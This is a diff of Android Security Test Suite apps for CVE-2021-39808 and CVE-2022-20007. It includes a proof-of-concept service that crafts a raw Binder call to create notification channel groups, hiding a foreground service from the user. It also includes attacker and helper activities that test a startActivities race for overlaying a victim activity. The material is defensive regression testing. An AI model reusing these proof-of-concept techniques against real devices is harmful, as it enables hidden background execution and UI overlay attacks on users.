+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39808">
+ <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+ <application>
+ <service
+ android:name=".PocService"
+ android:exported="true">
+ </service>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39808" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/integers.xml
new file mode 100644
index 00000000000..8e7d104c6d2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/integers.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <integer name="assumptionFailure">4</integer>
+ <integer name="fail">2</integer>
+ <integer name="falseVal">-1</integer>
+ <integer name="height">50</integer>
+ <integer name="pass">3</integer>
+ <integer name="setFlag">1</integer>
+ <integer name="timeoutMs">10000</integer>
+ <integer name="value">0</integer>
+ <integer name="width">50</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/strings.xml
new file mode 100644
index 00000000000..f4fb7413e40
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/strings.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <string name="assumptionFailure">Assumption failure occurred</string>
+ <string name="errorNoMethodFound">No method found</string>
+ <string name="errorTargetMethodNotFound">Target method not found</string>
+ <string name="flag">flag</string>
+ <string name="functionName">createNotificationChannelGroups</string>
+ <string name="group">group</string>
+ <string name="groupId">groupId</string>
+ <string name="illegalCode">Illegal Code</string>
+ <string name="messageKey">MESSAGE</string>
+ <string name="resultKey">RESULT</string>
+ <string name="message">message</string>
+ <string name="notification">notification</string>
+ <string name="passMessage">Passed</string>
+ <string name="sharedPreference">CVE_2021_39808</string>
+ <string name="vulnerableMessage">
+ Vulnerable to b/209966086!! Foreground service ran without user notification
+ </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/DeviceTest.java
new file mode 100644
index 00000000000..a32638dda2c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/DeviceTest.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39808;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.res.Resources;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testService() {
+ try {
+ Context context = getApplicationContext();
+ Intent intent = new Intent(context, PocService.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ context.startService(intent);
+ SharedPreferences sh = context.getSharedPreferences(
+ context.getString(R.string.sharedPreference),
+ Context.MODE_APPEND);
+ final Semaphore preferenceChanged = new Semaphore(0);
+ OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+ @Override
+ public void onSharedPreferenceChanged(
+ SharedPreferences sharedPreferences, String key) {
+ if (key.equals(context.getString(R.string.resultKey))) {
+ if (sharedPreferences.getInt(key, 0) == context
+ .getResources().getInteger(R.integer.pass)) {
+ preferenceChanged.release();
+ }
+ }
+ }
+ };
+ sh.registerOnSharedPreferenceChangeListener(listener);
+
+ preferenceChanged.tryAcquire(
+ context.getResources().getInteger(R.integer.timeoutMs),
+ TimeUnit.MILLISECONDS);
+
+ int result = sh.getInt(context.getString(R.string.resultKey),
+ context.getResources().getInteger(R.integer.pass));
+ String message = sh.getString(context.getString(R.string.messageKey),
+ context.getString(R.string.passMessage));
+ assumeTrue(message, result != context.getResources()
+ .getInteger(R.integer.assumptionFailure));
+ assertNotEquals(message, result,
+ context.getResources().getInteger(R.integer.fail));
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/PocService.java
new file mode 100644
index 00000000000..73b0df4adfb
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/PocService.java
@@ -0,0 +1,137 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39808;
+
+import android.app.INotificationManager;
+import android.app.NotificationChannelGroup;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.ServiceManager;
+import android.text.TextUtils;
+
+import java.lang.reflect.Method;
+
+public class PocService extends Service {
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public void onCreate() {
+ try {
+ super.onCreate();
+ setResult(getResources().getInteger(R.integer.fail),
+ getResources().getString(R.string.vulnerableMessage));
+ createNotificationGroup();
+ } catch (Exception e) {
+ setResult(getResources().getInteger(R.integer.assumptionFailure),
+ e.getMessage());
+ }
+ }
+
+ void createNotificationGroup() throws Exception {
+ IBinder binder = ServiceManager
+ .getService(getResources().getString(R.string.notification));
+ int serviceId = getTransactionCode(
+ getResources().getString(R.string.functionName));
+ if (serviceId == -1) {
+ setResult(getResources().getInteger(R.integer.assumptionFailure),
+ getString(R.string.errorNoMethodFound));
+ return;
+ } else if (serviceId == -2) {
+ setResult(getResources().getInteger(R.integer.assumptionFailure),
+ getString(R.string.errorTargetMethodNotFound));
+ return;
+ }
+ createNotificationGroup(binder, serviceId);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(
+ NOTIFICATION_SERVICE);
+ NotificationChannelGroup notificationChannelGroup = notificationManager
+ .getNotificationChannelGroup(
+ getResources().getString(R.string.groupId));
+ if (!notificationChannelGroup.isBlocked()) {
+ setResult(getResources().getInteger(R.integer.pass),
+ getResources().getString(R.string.passMessage));
+ }
+ }
+
+ int getTransactionCode(String methodName) {
+ int txCode = IBinder.FIRST_CALL_TRANSACTION;
+ String txName = INotificationManager.Stub
+ .getDefaultTransactionName(txCode);
+ if (txName == null) {
+ return -1;
+ }
+ while (txName != null && txCode <= IBinder.LAST_CALL_TRANSACTION) {
+ txName = INotificationManager.Stub
+ .getDefaultTransactionName(++txCode);
+ if (txName.equals(methodName)) {
+ break;
+ }
+ }
+ if (txName == null) {
+ return -2;
+ }
+ return txCode;
+ }
+
+ void createNotificationGroup(IBinder binder, int code) throws Exception {
+ String description = binder.getInterfaceDescriptor();
+ Parcel data = Parcel.obtain();
+ Parcel reply = Parcel.obtain();
+ data.writeInterfaceToken(description);
+ data.writeString(this.getPackageName());
+ data.writeInt(getResources().getInteger(R.integer.setFlag));
+ data.writeInt(getResources().getInteger(R.integer.setFlag));
+ data.writeString(NotificationChannelGroup.class.getName());
+ data.writeInt(getResources().getInteger(R.integer.setFlag));
+ data.writeByte((byte) getResources().getInteger(R.integer.setFlag));
+ data.writeString(getResources().getString(R.string.groupId));
+ TextUtils.writeToParcel(getResources().getString(R.string.group), data,
+ getResources().getInteger(R.integer.setFlag));
+ data.writeByte((byte) getResources().getInteger(R.integer.value));
+ data.writeInt(getResources().getInteger(R.integer.falseVal));
+ data.writeInt(getResources().getInteger(R.integer.setFlag));
+ boolean val = (boolean) binder.transact(code, data, reply,
+ getResources().getInteger(R.integer.value));
+ if (!val) {
+ setResult(getResources().getInteger(R.integer.assumptionFailure),
+ getResources().getString(R.string.illegalCode));
+ }
+ reply.readException();
+ }
+
+ private void setResult(int result, String message) {
+ try {
+ SharedPreferences sh = getSharedPreferences(
+ getString(R.string.sharedPreference), Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), result);
+ edit.putString(getString(R.string.messageKey), message);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore exception
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml
index 9f7ac842f5b..731eac43717 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml
@@ -23,7 +23,7 @@
android:label="CVE-2022-20007-Attacker"
android:supportsRtl="true">
<activity
- android:name=".PocActivity"
+ android:name=".PocAttackerActivity"
android:exported="true"
android:theme="@android:style/Theme.Translucent.NoTitleBar.Fullscreen">
</activity>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocAttackerActivity.java
index ad87ea7434f..988517e8670 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocAttackerActivity.java
@@ -20,7 +20,7 @@ import android.app.Activity;
import android.os.Bundle;
import android.view.WindowManager;
-public class PocActivity extends Activity {
+public class PocAttackerActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/Android.bp
new file mode 100644
index 00000000000..98d59623a28
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/Android.bp
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2022-20007-Second",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/AndroidManifest.xml
new file mode 100644
index 00000000000..7880b0f0669
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2022_20007_second"
+ android:sharedUserId="android.security.cts.CVE_2022_20007_shared_uid"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application
+ android:label="CVE-2022-20007-Second"
+ android:process="android.security.cts.CVE_2022_20007"
+ android:supportsRtl="true">
+ <activity
+ android:name=".SecondPocActivity"
+ android:exported="true">
+ </activity>
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/layout/activity_main.xml
new file mode 100644
index 00000000000..d327e30f622
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/layout/activity_main.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/integers.xml
new file mode 100644
index 00000000000..e112bcd4ab2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/integers.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <integer name="fail">1</integer>
+ <integer name="pass">0</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/strings.xml
new file mode 100644
index 00000000000..c20d81ccfa0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/strings.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="resultKey2">result2</string>
+ <string name="sharedPreferences">SharedPreferences</string>
+ <string name="testAppPackage">android.security.cts.CVE_2022_20007</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/src/android/security/cts/CVE_2022_20007_second/SecondPocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/src/android/security/cts/CVE_2022_20007_second/SecondPocActivity.java
new file mode 100644
index 00000000000..867da1c4ce2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/src/android/security/cts/CVE_2022_20007_second/SecondPocActivity.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20007_second;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+
+public class SecondPocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ setSharedPreferenes(getResources().getInteger(R.integer.fail));
+ }
+
+ @Override
+ protected void onPause() {
+ super.onPause();
+ setSharedPreferenes(getResources().getInteger(R.integer.pass));
+ }
+
+ void setSharedPreferenes(int result) {
+ try {
+ Context testAppContext = createPackageContext(getString(R.string.testAppPackage),
+ Context.CONTEXT_IGNORE_SECURITY);
+ SharedPreferences sh = testAppContext.getSharedPreferences(
+ getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey2), result);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore exception here
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp
index 713c0ed6500..0633c692d2a 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp
@@ -32,6 +32,7 @@ android_test_helper_app {
static_libs: [
"androidx.test.core",
"androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
],
sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml
index ea78d62cdb1..c5dd6b5e9ac 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml
@@ -17,13 +17,15 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.security.cts.CVE_2022_20007"
+ android:sharedUserId="android.security.cts.CVE_2022_20007_shared_uid"
android:versionCode="1"
android:versionName="1.0">
<application
android:label="CVE-2022-20007"
+ android:process="android.security.cts.CVE_2022_20007"
android:supportsRtl="true">
<activity
- android:name=".PocActivity"
+ android:name=".FirstPocActivity"
android:exported="true">
</activity>
<activity
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml
index 26b15c29414..bdb37757898 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml
@@ -17,6 +17,9 @@
<resources>
<integer name="assumptionFailure">-1</integer>
- <integer name="pass">0</integer>
<integer name="fail">1</integer>
+ <integer name="pass">0</integer>
+ <integer name="permitCount">2</integer>
+ <integer name="threeActivities">3</integer>
+ <integer name="twoActivities">2</integer>
</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml
index 1368bc206a9..e9910b70037 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml
@@ -17,14 +17,22 @@
<resources>
<string name="assumptionFailureMessage">
- Assumption failure occurred.
+ Assumption failure occurred. Bounds :
</string>
+ <string name="attackerActivity">PocAttackerActivity</string>
+ <string name="attackerPkg">android.security.cts.CVE_2022_20007_attacker</string>
+ <string name="boundsNotEqualMessage">Activity bounds are not equal</string>
+ <string name="dumpsysCmd">dumpsys activity %1$s</string>
<string name="failMessage">
Vulnerable to b/211481342!! Race Condition when startActivities() is invoked which can cause
- Not-Paused Background Activity
+ Not-Paused Background Activity. Bounds :
</string>
+ <string name="mBounds">mBounds</string>
<string name="messageKey">message</string>
- <string name="passMessage">Pass</string>
+ <string name="numActivities">numActivities</string>
<string name="resultKey">result</string>
+ <string name="resultKey2">result2</string>
+ <string name="secondActivity">SecondPocActivity</string>
+ <string name="secondPocAppPkg">android.security.cts.CVE_2022_20007_second</string>
<string name="sharedPreferences">SharedPreferences</string>
</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java
index 925da1ce80b..d4828b868b5 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java
@@ -17,18 +17,22 @@
package android.security.cts.CVE_2022_20007;
import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static org.junit.Assert.assertNotEquals;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertFalse;
import static org.junit.Assume.assumeNoException;
import static org.junit.Assume.assumeNotNull;
import static org.junit.Assume.assumeTrue;
-import android.content.ActivityNotFoundException;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.util.Log;
import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -39,6 +43,13 @@ import java.util.concurrent.TimeUnit;
@RunWith(AndroidJUnit4.class)
public class DeviceTest {
private Context mContext = getApplicationContext();
+ private UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+ private boolean mIsVulnerable = true;
+ private boolean mIsVulnerable2 = true;
+ private String mFirstPocActivityBounds = "";
+ private String mSecondPocActivityBounds = "";
+ private String mPocAttackerActivityBounds = "";
+ private SharedPreferences mSharedPrefs = null;
String getStringRes(int key) {
return mContext != null ? mContext.getResources().getString(key) : null;
@@ -48,44 +59,115 @@ public class DeviceTest {
return mContext != null ? mContext.getResources().getInteger(key) : null;
}
- @Test
- public void testRaceCondition() throws Exception {
- final long timeoutSec = 20L;
- assumeNotNull(mContext);
+ String getBounds(String activityName) throws Exception {
+ String output =
+ mDevice.executeShellCommand(mContext.getString(R.string.dumpsysCmd, activityName));
+ output = output.substring(output.indexOf(getStringRes(R.string.mBounds)),
+ output.indexOf(")", output.indexOf(getStringRes(R.string.mBounds))) + 1);
+ return output;
+ }
+
+ void launchMainActivity(int numActivities) {
final Intent intent = new Intent(mContext, PocMainActivity.class);
- intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_NO_HISTORY);
+ intent.putExtra(getStringRes(R.string.numActivities), numActivities);
+ mContext.startActivity(intent);
+ }
+
+ void checkResult(String key) {
+ int result = mSharedPrefs.getInt(key, getIntegerRes(R.integer.assumptionFailure));
+ assumeTrue(
+ getStringRes(R.string.assumptionFailureMessage) + mFirstPocActivityBounds + " "
+ + mSecondPocActivityBounds + " " + mPocAttackerActivityBounds,
+ result != getIntegerRes(R.integer.assumptionFailure));
+ assertFalse(
+ getStringRes(R.string.failMessage) + mFirstPocActivityBounds + " "
+ + mSecondPocActivityBounds + " " + mPocAttackerActivityBounds,
+ mIsVulnerable && result == getIntegerRes(R.integer.fail));
+ }
+
+ @Test
+ public void testRaceCondition() {
+ final long timeoutSec = 30L;
try {
- mContext.startActivity(intent);
- } catch (ActivityNotFoundException e) {
- assumeNoException(e);
- }
- SharedPreferences sharedPrefs = mContext.getSharedPreferences(
- getStringRes(R.string.sharedPreferences), Context.MODE_APPEND);
- assumeNotNull(sharedPrefs);
- final Semaphore preferenceChanged = new Semaphore(0);
- OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
- @Override
- public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) {
- if (key.equals(getStringRes(R.string.resultKey))) {
- if (sharedPreferences.getInt(key,
- getIntegerRes(R.integer.assumptionFailure)) == getIntegerRes(
- R.integer.pass)) {
- preferenceChanged.release();
+ assumeNotNull(mContext);
+ launchMainActivity(getIntegerRes(R.integer.twoActivities));
+ mSharedPrefs = mContext.getSharedPreferences(getStringRes(R.string.sharedPreferences),
+ Context.MODE_APPEND);
+ assumeNotNull(mSharedPrefs);
+ final Semaphore preferenceChanged = new Semaphore(0);
+ final Semaphore preferenceChanged2 = new Semaphore(0);
+ OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+ @Override
+ public void onSharedPreferenceChanged(SharedPreferences sharedPreferences,
+ String key) {
+ if (key.equals(getStringRes(R.string.resultKey))) {
+ if (sharedPreferences.getInt(key,
+ getIntegerRes(R.integer.assumptionFailure)) == getIntegerRes(
+ R.integer.pass)) {
+ preferenceChanged.release();
+ mIsVulnerable = false;
+ }
+ } else if (key.equals(getStringRes(R.string.resultKey2))) {
+ if (sharedPreferences.getInt(key,
+ getIntegerRes(R.integer.assumptionFailure)) == getIntegerRes(
+ R.integer.pass)) {
+ preferenceChanged2.release();
+ mIsVulnerable2 = false;
+ }
}
}
- }
- };
- sharedPrefs.registerOnSharedPreferenceChangeListener(listener);
- try {
+ };
+ mSharedPrefs.registerOnSharedPreferenceChangeListener(listener);
preferenceChanged.tryAcquire(timeoutSec, TimeUnit.SECONDS);
- } catch (InterruptedException e) {
+
+ // Check if attacker activity is able to overlay victim activity
+ mFirstPocActivityBounds = getBounds(FirstPocActivity.class.getName());
+ String attackerActivityName = getStringRes(R.string.attackerPkg) + "/."
+ + getStringRes(R.string.attackerActivity);
+ mPocAttackerActivityBounds = getBounds(attackerActivityName);
+ Log.e("DeviceTest", "mFirstPocActivityBounds=" + mFirstPocActivityBounds);
+ Log.e("DeviceTest", "mPocAttackerActivityBounds=" + mPocAttackerActivityBounds);
